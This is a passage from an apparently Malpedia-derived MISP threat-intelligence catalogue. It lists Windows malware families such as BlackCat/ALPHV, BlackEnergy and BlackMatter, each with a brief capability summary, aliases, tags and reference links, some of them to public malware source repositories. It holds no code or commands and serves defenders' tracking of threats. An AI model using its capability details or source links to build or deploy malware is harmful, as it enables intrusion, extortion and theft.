https://spycloud.com/blog/digesting-messages-from-the-black-basta-chats/

https://www.lemagit.fr/actualites/366619807/Ransomware-de-REvil-a-Black-Basta-que-sait-on-de-Tramp

https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware

https://medium.com/walmartglobaltech/agent-ai-basta-parser-extraordinaire-24edfc59992a

https://www.security.com/threat-intelligence/black-basta-ransomware-zero-day

https://www.crowdstrike.com/adversaries/wandering-spider/

https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a

https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware

BlackByte

Ransomware. Uses dropper written in JavaScript to deploy a .NET payload.

The tag is: *misp-galaxy:malpedia="BlackByte"*

BlackByte is also known as:

Table 3334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt
https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/
https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/
https://therecord.media/san-francisco-49ers-confirm-ransomware-attack/
https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure
https://www.trendmicro.com/vinfo/my/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html
https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups
https://redcanary.com/blog/blackbyte-ransomware/
https://de.darktrace.com/blog/detecting-the-unknown-revealing-uncategorised-ransomware-using-darktrace
https://blog.talosintelligence.com/2022/05/the-blackbyte-ransomware-group-is.html
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://twitter.com/splinter_code/status/1628057204954652674
https://blog.talosintelligence.com/blackbyte-blends-tried-and-true-tradecraft-with-newly-disclosed-vulnerabilities-to-support-ongoing-attacks/
https://www.zscaler.com/blogs/security-research/analysis-blackbyte-ransomwares-go-based-variants

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://news.sophos.com/en-us/2022/10/04/blackbyte-ransomware-returns/
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://www.ic3.gov/Media/News/2022/220211.pdf
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group

BlackCat (Windows)

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

The tag is: *misp-galaxy:malpedia="BlackCat (Windows)"*

BlackCat (Windows) is also known as:

- ALPHV
- Noberus

Table 3335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat
https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.intrinsec.com/alphv-ransomware-gang-analysis
https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up
https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
https://www.intrinsec.com/alphv-ransomware-gang-analysis/

https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/

https://www.sentinelone.com/blog/ransomware-evolution-how-cheated-affiliates-are-recycling-victim-data-for-profit/

http://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

https://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments

https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022

https://blog.eclecticiq.com/inside-intelligence-center-lunar-spider-enabling-ransomware-attacks-on-financial-sector-with-brute-ratel-c4-and-latrodectus

https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

https://www.varonis.com/blog/alphv-blackcat-ransomware

https://unit42.paloaltonetworks.com/blackcat-ransomware/

https://id-ransomware.blogspot.com/2021/12/blackcat-ransomware.html

https://www.ic3.gov/Media/News/2022/220420.pdf

https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html

https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous

https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware

https://mssplab.github.io/threat-hunting/2023/07/13/malware-analysis-blackcat.html

https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

https://www.theregister.com/2023/11/16/blackcat_ransomware_luring_corporate_targets/

https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor

https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/

https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3

https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive

https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf

https://www.esentire.com/blog/nitrogen-campaign-2-0-reloads-with-enhanced-capabilities-leading-to-alphv-blackcat-ransomware

https://cocomelonc.github.io/book/2023/12/13/malwild-book.html

https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations

https://community.riskiq.com/article/47766fbd

https://www.mandiant.com/resources/blog/alphv-ransomware-backup

https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/

https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/

https://www.trellix.com/about/newsroom/stories/research/scattered-spider-the-modus-operandi/

https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/

https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf

https://killingthebear.jorgetesta.tech/actors/alphv

https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf

https://securityscorecard.com/research/deep-dive-into-alphv-blackcat-ransomware

https://blog.sekoia.io/scattered-spider-laying-new-eggs/

https://breached.company/when-the-defenders-become-the-attackers-cybersecurity-experts-indicted-for-blackcat-ransomware-operations/

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://securelist.com/a-bad-luck-blackcat/106254/

https://securityscorecard.com/blog/ttps-associated-with-new-version-of-blackcat-ransomware

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html

https://x.com/vxunderground/status/1731138180672344095?t=reBMQQFFMGQ_zkV8KmL_LA&s=01

https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html

https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/
https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://github.com/f0wl/blackCatConf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps
https://www.infinitumit.com.tr/en/black-cat-alphv-ransomware-group/
https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html
https://securityintelligence.com/posts/blackcat-ransomware-levels-up-stealth-speed-exfiltration/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://blog.group-ib.com/blackcat
https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/

BLACKCOFFEE

a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal.

The tag is: *misp-galaxy:malpedia="BLACKCOFFEE"*

BLACKCOFFEE is also known as:

- PNGRAT
- ZoxPNG
- gresim

Table 3336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee

https://attack.mitre.org/groups/G0001/
https://attack.mitre.org/groups/G0025/
https://web.archive.org/web/20150420064803/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://attack.mitre.org/groups/G0096
http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
https://intrusiontruth.wordpress.com/2019/07/24/apt17-is-run-by-the-jinan-bureau-of-the-chinese-ministry-of-state-security/
http://malware-log.hatenablog.com/entry/2015/05/18/000000_1
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.youtube.com/watch?v=NFJqD-LcpIg
https://attack.mitre.org/software/S0069/

BlackEnergy

BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.

Version 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to - download and execute a remote file; - execute a local file on the infected computer; - update the bot and its plugins;

The Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.

In 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included: - operations with victim's filesystem - spreading with a parasitic infector - spying features like keylogging, screenshoots or a robust password stealer - Team viewer and a simple pseudo "remote desktop" - listing Windows accounts and scanning network -

destroying the system

Typical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.

On 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.

The tag is: *misp-galaxy:malpedia="BlackEnergy"*

BlackEnergy is also known as:

Table 3337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Cherepanov-Lipovsky.pdf
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too
https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html
https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf
https://securelist.com/black-ddos/36309/
https://web.archive.org/web/20140428201836/http://www.fireeye.com/blog/technical/malware-research/2010/03/black-energy-crypto.html
https://threatconnect.com/blog/casting-a-light-on-blackenergy/
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.secureworks.com/research/threat-profiles/iron-viking
https://attack.mitre.org/groups/G0034
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html

https://marcusedmondson.com/2019/01/18/black-energy-analysis/
https://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
http://pds15.egloos.com/pds/201001/01/66/BlackEnergy_DDoS_Bot_Analysis.pdf
https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://www.secureworks.com/research/blackenergy2
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf

BlackGuard

According to Zscaler, BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients.

The tag is: *misp-galaxy:malpedia="BlackGuard"*

BlackGuard is also known as:

Table 3338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackguard
https://ke-la.com/information-stealers-a-new-landscape/
https://www.youtube.com/watch?v=Fd8WjxzY2_g
https://www.techtimes.com/articles/273752/20220331/new-password-stealing-malware-hacking-forum-hack-password-stealing-google-chrome-binance-outlook-telegram.htm
https://www.zdnet.com/article/meet-blackguard-a-new-infostealer-peddled-on-russian-hacker-forums/
https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/
https://cyberint.com/blog/research/blackguard-stealer/
https://blogs.blackberry.com/en/2022/04/threat-thursday-blackguard-infostealer
https://medium.com/s2wblog/the-history-of-blackguard-stealer-86207e72ffb4
https://medium.com/s2wblog/rising-stealer-in-q1-2022-blackguard-stealer-f516d9f85ee5
https://www.f5.com/labs/articles/threat-intelligence/blackguard-infostealer-malware-dissecting-the-state-of-exfiltrated-data

https://www.zscaler.com/blogs/security-research/analysis-blackguard-new-info-stealer-malware-being-sold-russian-hacking
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://thehackernews.com/2022/04/experts-shed-light-on-blackguard.html
https://blog.cyble.com/2022/04/01/dissecting-blackguard-info-stealer/
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/

BlackKingdom Ransomware

The tag is: *misp-galaxy:malpedia="BlackKingdom Ransomware"*

BlackKingdom Ransomware is also known as:

Table 3339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware
https://news.sophos.com/en-us/2021/03/23/black-kingdom/
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html
https://id-ransomware.blogspot.com/2020/02/blackkingdom-ransomware.html
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://securelist.com/black-kingdom-ransomware/102873/

BlackLotus

The tag is: *misp-galaxy:malpedia="BlackLotus"*

BlackLotus is also known as:

Table 3340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://cocomelonc.github.io/book/2023/12/13/malwild-book.html

https://kn0s-organization.gitbook.io/blacklotus-analysis-stage2-bootkit-rootkit-stage/
https://mssplab.github.io/threat-hunting/2023/07/15/malware-src-blacklotus.html
https://blog.bushidotoken.net/2023/08/tracking-adversaries-scattered-spider.html
https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/
https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html

BlackMagic

Ransomware

The tag is: *misp-galaxy:malpedia="BlackMagic"*

BlackMagic is also known as:

Table 3341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic
https://blog.cyble.com/2022/12/07/a-closer-look-at-blackmagic-ransomware/

BlackMatter (Windows)

According to PCrisk, BlackMatter is a piece of malicious software categorized as ransomware. It operates by encrypting data for the purpose of making ransom demands for the decryption tools. In other words, files affected by BlackMatter are rendered inaccessible, and victims are asked to pay - to recover access to their data.

During the encryption process, files are appended with an extension consisting of a random character string. For example, a file initially named "1.jpg" would appear as something similar to "1.jpg.k5RO9fVOl". After this process is complete, the ransomware changes the desktop wallpaper and created a ransom note - "[random_string].README.txt" (e.g., k5RO9fVOl.README.txt).

The tag is: *misp-galaxy:malpedia="BlackMatter (Windows)"*

BlackMatter (Windows) is also known as:

Table 3342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter
https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/
https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/
https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf
https://blog.minerva-labs.com/blackmatter

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group

https://www.mandiant.com/resources/chasing-avaddon-ransomware

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://blog.group-ib.com/blackmatter2

https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.forescout.com/blog/new-ransomware-operator-exploits-fortinet-vulnerability-duo/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.netskope.com/blog/netskope-threat-coverage-blackmatter

https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html

https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/

https://www.glimps.fr/lockbit3-0/

https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf

https://www.mandiant.com/resources/cryptography-blackmatter-ransomware

https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://assets.virustotal.com/reports/2021trends.pdf

https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html

https://us-cert.cisa.gov/ncas/alerts/aa21-291a

https://www.mcafee.com/blogs/enterprise/blackmatter-ransomware-analysis-the-dark-side-returns/

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://twitter.com/GelosSnake/status/1451465959894667275

https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/

https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/

https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d

https://services.google.com/fh/files/misc/gcat_threathorizons_full_nov2021.pdf

https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/

https://www.youtube.com/watch?v=NIiEcOryLpI

https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://blog.group-ib.com/blackmatter#

https://www.varonis.com/blog/blackmatter-ransomware/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps

https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/

https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/

https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html

https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809

https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/

https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up

https://www.tesorion.nl/en/posts/analysis-of-the-blackmatter-ransomware/

https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2

BlackNET RAT

Advanced and modern Windows botnet with PHP panel developed using VB.NET. It has a lot of functionalities including: stealing/grabbing files and passwords, keylogging, cryptojacking, loading files, executing commands, etc. It is open source and emerged at the end of 2019.

The tag is: *misp-galaxy:malpedia="BlackNET RAT"*

BlackNET RAT is also known as:

Table 3343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknet_rat
https://github.com/mave12/BlackNET-3.7.0.1
https://github.com/BlackHacker511/BlackNET/
https://labs.k7computing.com/?p=21365
https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware
https://github.com/FarisCode511/BlackNET/
https://blog.malwarebytes.com/threat-analysis/2020/03/fake-corona-antivirus-distributes-blacknet-remote-administration-tool/
http://www.pwncode.io/2019/12/blacknet-rat-when-you-leave-panel.html

BlackNix RAT

The tag is: *misp-galaxy:malpedia="BlackNix RAT"*

BlackNix RAT is also known as:

Table 3344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknix_rat
https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb

BlackPOS

BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.

The tag is: *misp-galaxy:malpedia="BlackPOS"*

BlackPOS is also known as:

- Kaptoxa
- MMon
- POSWDS
- Reedum

Table 3345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/
https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/

BlackRemote

The tag is: *misp-galaxy:malpedia="BlackRemote"*

BlackRemote is also known as:

- BlackRAT

Table 3346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote
https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/
https://asec.ahnlab.com/en/56405/
https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/
https://news.sophos.com/en-us/2020/05/14/raticate/

BlackRevolution

The tag is: *misp-galaxy:malpedia="BlackRevolution"*

BlackRevolution is also known as:

Table 3347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution

BlackRouter

The tag is: *misp-galaxy:malpedia="BlackRouter"*

BlackRouter is also known as:

- BLACKHEART

Table 3348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrouter
https://blog.trendmicro.com/trendlabs-security-intelligence/legitimate-application-anydesk-bundled-with-new-ransomware-variant/
https://www.bleepingcomputer.com/news/security/blackrouter-ransomware-promoted-as-a-raas-by-iranian-developer/

Blackruby

Ransomware.

The tag is: *misp-galaxy:malpedia="Blackruby"*

Blackruby is also known as:

Table 3349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackruby
https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware
https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/

BlackShades

The tag is: *misp-galaxy:malpedia="BlackShades"*

BlackShades is also known as:

Table 3350. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/
https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga

BlackSnake

The tag is: *misp-galaxy:malpedia="BlackSnake"*

BlackSnake is also known as:

Table 3351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksnake
https://blog.cyble.com/2023/03/09/blacksnake-ransomware-emerges-from-chaos-ransomwares-shadow/

BlackSoul

The tag is: *misp-galaxy:malpedia="BlackSoul"*

BlackSoul is also known as:

Table 3352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksoul
https://quointelligence.eu/2021/01/reconhellcat-uses-nist-theme-as-lure-to-deliver-new-blacksoul-malware/

BlackSuit (Windows)

According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.

The tag is: *misp-galaxy:malpedia="BlackSuit (Windows)"*

BlackSuit (Windows) is also known as:

Table 3353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksuit

https://blog.cyble.com/2023/05/12/blacksuit-ransomware-strikes-windows-and-linux-users/
https://www.reliaquest.com/blog/blacksuit-attack-analysis/
https://catalyst.prodaft.com/public/report/larva-208/overview
https://www.trendmicro.com/en_us/research/23/e/investigating-blacksuit-ransomwares-similarities-to-royal.html
https://thedfirreport.com/2024/08/26/blacksuit-ransomware/
